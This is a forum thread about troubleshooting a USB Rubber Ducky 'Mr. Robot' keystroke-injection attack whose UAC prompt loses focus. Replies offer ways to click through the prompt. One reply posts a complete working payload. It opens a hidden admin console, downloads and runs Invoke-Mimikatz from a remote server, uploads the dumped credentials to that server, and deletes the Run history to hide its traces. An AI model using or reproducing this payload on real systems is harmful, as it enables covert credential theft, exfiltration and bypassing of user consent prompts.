Mr. Robot Attack ALT Y issue

[korang]

OK so when running the "Mr. Robot" attack on a system (yes I am authorized).  It seems when it does admin command prompt, the Dialog box becomes back grounded, so the ALT y does not hit yes.  Is there any way to may the duck make sure this dialog box is the active window then do the ALT y command?.  I have manually tested ALT y and it does work , I just noticed in my testing that for some reason the dialog box is not active and this cause issues with the script running.

 

Or is there a way to psue the script till I hit yes then use the ducky button to continue running script?

 

Thanks

[Just_a_User]

Haven't tried - would an alt tab bring it forward?

[Mr-Protocol]

If your target is Windows10, you can do GUI X, then A, then ALT Y.

Also may try adding/increasing the delay from launching the UAC to trying to accept it. Maybe the ALT Y you are sending is being sent too fast before the dialog pops up.

[Viruse]

i had same problem on windows 10 BUT how i did solved it ? i replaced ALT y by

LEFT
ENTER 

so what's LEFT ? it's LEFTARROW on the keyboard so left key make the focus on the YES button!! than hit ENTER ;)

 

here's my payload for windows 10

 

 

REM Title: Invoke mimikatz and send creds to remote server
REM Author: Hak5Darren Props: Mubix, Clymb3r, Gentilkiwi, SamOX
DELAY 1000
REM Open an admin command prompt 
GUI r
DELAY 500
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 2000
LEFT
ENTER
DELAY 2000
REM Obfuscate the command prompt
STRING mode con:cols=18 lines=1
ENTER
STRING color FE
ENTER
DELAY 2000
STRING powershell IEX (New-Object Net.WebClient).DownloadString('http://yourserver/Invoke-Mimikatz.ps1'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('http://yourserver/vc/rx.php', $output)
ENTER
REM Clear the Run history and exit
STRING powershell Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
ENTER
STRING exit
ENTER

 

 

Good Luck!!

 

[patient0]

Well, if you're still having trouble, it's because the focus isn't on the fucking window that's asking for permission. PowerShell probably has the focus, though it doesn't seem to be on top.

[patient0]

In that case you might want to try using "GUI s" instead of "GUI r" if you're using Windows 10.